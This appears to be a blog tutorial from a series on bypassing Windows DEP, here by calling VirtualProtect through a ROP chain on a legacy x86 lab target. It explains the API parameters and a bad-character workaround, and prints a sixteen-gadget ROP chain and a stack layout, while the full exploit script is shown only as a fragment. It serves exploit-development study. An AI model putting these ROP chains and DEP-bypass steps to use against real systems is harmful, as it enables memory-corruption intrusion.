In this article, I will introduce the third method: using the VirtualProtect API.
VirtualProtect
According to the MSDN documentation, this API changes the protection on a region of committed pages in the virtual address space of the calling process.
lpAddress: The starting address of the specified region of virtual memory
dwSize: The size of the region.
flNewProtect: We need to use the PAGE_EXECUTE_READWRITE constant, which is 0x40.
lpflOldProtect: This parameter needs a writable 32-bit space. The API writes the original protection mode of the region (our target) into this space. The best option is to pass an address on the stack. If we pass NULL, then the API fails. If it fails, then [EAX] is 0. Otherwise, it is non-zero (usually, it would be 1).
Therefore, this API does not disable DEP, but changes the protection of the region to executable.
Preparation
First, let’s disassemble the kernel32!VirtualProtect API in WinDbg:
Here, we can see how the API works. It actually calls kernel32!VirtualProtectEx and passes 0xFFFFFFFF (-1) as the first parameter.
Note: Remember that on an x86 operating system, calling conventions such as __stdcall and __cdecl push parameters from the last one to the first one.
Writing ROP Exploit Script
The process of developing this ROP exploit script is actually the same as the previous article. Therefore, I want to discuss something different.
Note: If you want to learn how to write a ROP script from scratch, you can refer to this article.
While executing the payload, I found that it failed. The reason is that the address of the API, 0x7c801ad8, contains a bad character, 0x1a.
To demonstrate this, after running the ROP payload, we can compare the contents of exploit_dep.txt with the payload that has been read:
1
!mona compare -f exploit_dep.txt -a 0022fa40
Note: The address 0022fa40 is the starting address of the payload.
To solve this problem, we can directly modify the address in memory by executing shellcode. For instance, instead of using the original address, we use 0x7c801bd8 and change it to 0x7c801ad8 by subtracting 0x100.
Note: The character 0x1a is a bad character because it represents EOF in legacy operating systems. This highlights that we usually need to understand why a character is considered a bad character if we want to solve the problem. Of course, we can still configure some essential data by modifying it with shellcode.
Therefore, the ROP chain for fixing the bad character can be implemented as follows:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
rop6 += p32(0x7eb962f5) # XOR EAX,EAX # RETN rop6 += p32(0x77c4ec2b) # ADD EAX,100 # POP EBP # RETN rop6 += b'6666'# pop ebp rop6 += p32(0x7eb873b4) # XCHG EAX,ECX # RETN rop6 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN rop6 += b'6666'# pop esi rop6 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN rop6 += b'6666'# pop ebp rop6 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN rop6 += b'6666'# pop ebp rop6 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04 rop6 += b'6666'# pop ebp rop6 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04 rop6 += b'6666'# retn 0x04 rop6 += b'6666'# pop ebp rop6 += p32(0x7eb9a916) # SUB DWORD PTR DS:[EAX+4C],ECX # POP ESI # POP EBP # RETN 0x0C
My textbook also provides another approach that makes the ROP script smaller. The layout is shown below:
1 2 3 4 5 6 7 8 9 10 11 12
edi-0x30 : Padding A edi-0x10 : VirtualProtect edi-0x0c : Padding B edi-0x04 : jmp esp edi : Padding C1, the first parameter of the API, dynamically generated, which is, [EDI] = EDI edi+0x04 : The second parameter, 0x400 edi+0x08 : The third parameter, 0x40 edi+0x0C : Padding C2, the fourth parameter, dynamically generated, using `EDI-0x24` edi+0x10 : Shellcode A edi+0x15 : Padding D, padding to 140 bytes edi+... : ROP edi+... : Shellcode B
Therefore, the completed ROP exploit script, including both implementations, can be implemented as follows:
withopen('exploit_dep.txt', 'wb') as f: f.write(exploit)
print('[+] OK')
except Exception as ex: print(ex)
if __name__ == '__main__': main()
Now, let’s try the first method:
Let’s try the second method:
Both methods can bypass DEP!
Conclusion
This article introduced how to bypass DEP using the VirtualProtect API.
It also introduced two implementations of the memory layout.
The first one is to configure the parameters using pointers.
The other approach is to put constant parameters directly onto the stack.
These highlight that writing a ROP exploit script not only requires an understanding of assembly language, but also an understanding of the memory layout.
In the next article, I will introduce the fourth method of bypassing DEP.
This is the end of this article. If you have any comments or issues, please feel free to leave them below!